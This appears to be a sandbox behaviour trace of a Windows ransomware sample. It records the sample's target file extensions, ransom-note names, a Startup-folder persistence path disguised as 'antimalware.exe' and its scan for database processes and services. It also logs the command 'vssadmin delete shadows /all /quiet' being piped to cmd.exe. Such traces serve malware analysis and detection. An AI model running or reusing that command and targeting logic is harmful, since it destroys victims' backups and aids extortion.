;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0132.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544cd0 | out: hHeap=0x4f0000) returned 1
	[0132.275] lstrlenW (lpString="") returned 0
	[0132.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d738 | out: hHeap=0x4f0000) returned 1
	[0132.275] lstrlenW (lpString=".yG") returned 3
	[0132.275] lstrlenW (lpString=".yG") returned 3
	[0132.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d738 | out: hHeap=0x4f0000) returned 1
	[0132.275] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d540, Size=0x20) returned 0x52e080
	[0132.275] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e080, Size=0x40) returned 0x507bb8
	[0132.275] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507bb8, Size=0x80) returned 0x555788
	[0132.275] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d110, Size=0x8) returned 0x54d020
	[0132.275] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d020, Size=0x10) returned 0x54d750
	[0132.275] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d750, Size=0x20) returned 0x52e0d0
	[0132.275] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0132.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555788 | out: hHeap=0x4f0000) returned 1
	[0132.276] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d588, Size=0x20) returned 0x52de50
	[0132.276] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52de50, Size=0x40) returned 0x507bb8
	[0132.276] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0132.276] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0132.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507bb8 | out: hHeap=0x4f0000) returned 1
	[0132.276] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d750, Size=0x20) returned 0x52de78
	[0132.276] lstrlenW (lpString="Info.hta") returned 8
	[0132.276] lstrlenW (lpString="Info.hta") returned 8
	[0132.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de78 | out: hHeap=0x4f0000) returned 1
	[0132.276] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x575cf0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x8f
	[0132.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0132.276] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0132.276] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e0d0, Size=0x40) returned 0x5078e8
	[0132.276] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d588, Size=0x20) returned 0x52e0d0
	[0132.277] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d588, Size=0x20) returned 0x52de50
	[0132.277] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52de50, Size=0x40) returned 0x507780
	[0132.277] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507780, Size=0x80) returned 0x5552c0
	[0132.277] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5552c0, Size=0x100) returned 0x54cbb0
	[0132.277] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54cbb0 | out: hHeap=0x4f0000) returned 1
	[0132.277] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x575cf0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0132.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x585cf8 | out: hHeap=0x4f0000) returned 1
	[0132.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0132.567] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d0f0, Size=0x8) returned 0x54d000
	[0132.571] lstrlenW (lpString="%windir%;") returned 9
	[0132.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e0d0 | out: hHeap=0x4f0000) returned 1
	[0132.571] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0132.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565ce8 | out: hHeap=0x4f0000) returned 1
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d918, Size=0x20) returned 0x52e0d0
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e0d0, Size=0x40) returned 0x599460
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x599460, Size=0x80) returned 0x5559a8
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5559a8, Size=0x100) returned 0x54be48
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d030, Size=0x8) returned 0x54d0d0
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d0d0, Size=0x10) returned 0x54d960
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d960, Size=0x20) returned 0x52e0d0
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54cfa0, Size=0x8) returned 0x54d030
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d020, Size=0x8) returned 0x54d040
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d050, Size=0x8) returned 0x54d020
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d020, Size=0x10) returned 0x54d780
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d780, Size=0x20) returned 0x52dba8
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d030, Size=0x10) returned 0x54d780
	[0132.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d040, Size=0x10) returned 0x5967b8
	[0132.573] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d0f0, Size=0x8) returned 0x54cf50
	[0132.573] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d030, Size=0x8) returned 0x54d040
	[0132.573] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d780, Size=0x20) returned 0x52ddd8
	[0132.573] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5967b8, Size=0x20) returned 0x52dae0
	[0132.573] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d030, Size=0x8) returned 0x54d080
	[0132.573] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0132.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54be48 | out: hHeap=0x4f0000) returned 1
	[0132.573] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596788, Size=0x20) returned 0x52da18
	[0132.573] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x565ce8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0132.573] lstrlenW (lpString="C:\\") returned 3
	[0132.573] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0132.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565ce8 | out: hHeap=0x4f0000) returned 1
	[0132.574] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d0f0, Size=0x82) returned 0x552e78
	[0132.574] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54ce50, Size=0x100) returned 0x54c580
	[0132.574] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x552e78, Size=0x104) returned 0x545430
	[0132.574] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c580, Size=0x200) returned 0x597d18
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54cee0 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x597d18 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5965a8 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555700 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596758 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554df8 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596638 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x545430 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596620 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552f08 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596548 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5453a0 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596560 | out: hHeap=0x4f0000) returned 1
	[0132.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5965d8, Size=0x20) returned 0x52da90
	[0132.576] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52da90, Size=0x40) returned 0x5992f8
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596818 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554c28 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596608 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5554e0 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5966e0 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5966b0 | out: hHeap=0x4f0000) returned 1
	[0132.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x597a80 | out: hHeap=0x4f0000) returned 1
	[0132.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506a00 | out: hHeap=0x4f0000) returned 1
	[0132.577] lstrlenW (lpString="%systemdrive%") returned 13
	[0132.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da18 | out: hHeap=0x4f0000) returned 1
	[0132.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554f90 | out: hHeap=0x4f0000) returned 1
	[0132.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d030 | out: hHeap=0x4f0000) returned 1
	[0132.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x555cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0132.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0x50bc90*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0178.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bc90 | out: hHeap=0x4f0000) returned 1
	[0178.154] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0178.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507e88 | out: hHeap=0x4f0000) returned 1
	[0178.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592218
	[0178.155] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592218, Size=0x20) returned 0x45b05c0
	[0178.155] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45b05c0, Size=0x40) returned 0x4597070
	[0178.155] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4597070, Size=0x80) returned 0x555678
	[0178.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592278
	[0178.155] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592278, Size=0x20) returned 0x45b05c0
	[0178.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1fffc) returned 0x55d0048
	[0178.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x393aeb8
	[0178.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0178.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0178.156] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b04d0
	[0178.156] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45b04d0, Size=0x40) returned 0x4596e30
	[0178.156] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4596e30, Size=0x80) returned 0x554df8
	[0178.156] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x554df8, Size=0x100) returned 0x54c688
	[0178.156] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0178.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c688 | out: hHeap=0x4f0000) returned 1
	[0178.156] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x393aeb8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0178.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0178.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x393aeb8 | out: hHeap=0x4f0000) returned 1
	[0178.157] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x29c, hWritePipe=0x19fd54*=0x33c) returned 1
	[0178.158] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x2b0, hWritePipe=0x19fdc4*=0x2b4) returned 1
	[0178.158] SetHandleInformation (hObject=0x33c, dwMask=0x1, dwFlags=0x0) returned 1
	[0178.158] SetHandleInformation (hObject=0x2b0, dwMask=0x1, dwFlags=0x0) returned 1
	[0178.158] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x29c, hStdOutput=0x2b4, hStdError=0x2b4), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x39c, hThread=0x520, dwProcessId=0xfd4, dwThreadId=0xfd8)) returned 1
	[0178.169] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0178.169] WriteFile (in: hFile=0x33c, lpBuffer=0x555678*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x555678*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0178.169] CloseHandle (hObject=0x39c) returned 1
	[0178.169] CloseHandle (hObject=0x520) returned 1
	[0178.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0178.171] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0178.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555678 | out: hHeap=0x4f0000) returned 1
	[0178.171] lstrlenW (lpString="%comspec%") returned 9
	[0178.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05c0 | out: hHeap=0x4f0000) returned 1
	[0178.171] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102
	[0178.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5063a0 | out: hHeap=0x4f0000) returned 1
	[0178.171] ExitProcess (uExitCode=0x0) 

Thread:
	id = 32
	os_tid = 0xde4


Thread:
	id = 34
	os_tid = 0xdec


Thread:
	id = 36
	os_tid = 0xe00

	[0132.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d7c8
	[0132.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d7c8, Size=0x20) returned 0x52de50
	[0132.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52de50, Size=0x40) returned 0x507c90
	[0132.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507c90, Size=0x80) returned 0x555ab8
	[0132.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x555ab8, Size=0x100) returned 0x54c688
	[0132.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d8e8
	[0132.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d8e8, Size=0x20) returned 0x52de50
	[0132.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52de50, Size=0x40) returned 0x507bb8
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507bb8, Size=0x80) returned 0x555348
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x555348, Size=0x100) returned 0x54bd40
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54d7f8
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x54d110
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x54d8d0
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d110, Size=0x8) returned 0x54cf50
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5066a0
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54cf50, Size=0x10) returned 0x54d8e8
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x5066c0
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52de50
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d8e8, Size=0x20) returned 0x52de78
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x52d978
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x506320
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52dc20
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54d9f0
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x54d020
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x507738
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d020, Size=0x8) returned 0x54d0d0
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x507780
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d0d0, Size=0x10) returned 0x54d978
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506340
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x506920
	[0132.409] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54d978, Size=0x20) returned 0x52dbf8
	[0132.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x506bd0
	[0132.410] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0132.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c688 | out: hHeap=0x4f0000) returned 1
	[0132.410] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0132.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1
	[0132.410] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52db30
	[0132.441] EnumServicesStatusExW (in: hSCManager=0x52db30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0132.446] GetLastError () returned 0xea
	[0132.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bee) returned 0x596508
	[0132.447] EnumServicesStatusExW (in: hSCManager=0x52db30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x596508, cbBufSize=0x1bee, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x596508, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0132.485] CloseServiceHandle (hSCObject=0x52db30) returned 1
	[0132.514] lstrlenW (lpString="AppXSvc") returned 7
	[0132.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0132.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0132.515] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0132.515] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0132.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0132.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0132.515] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0132.515] lstrlenW (lpString="Audiosrv") returned 8
	[0132.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0132.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0132.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0132.515] lstrlenW (lpString="BFE") returned 3
	[0132.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0132.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0132.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0132.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0132.515] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0132.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0132.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
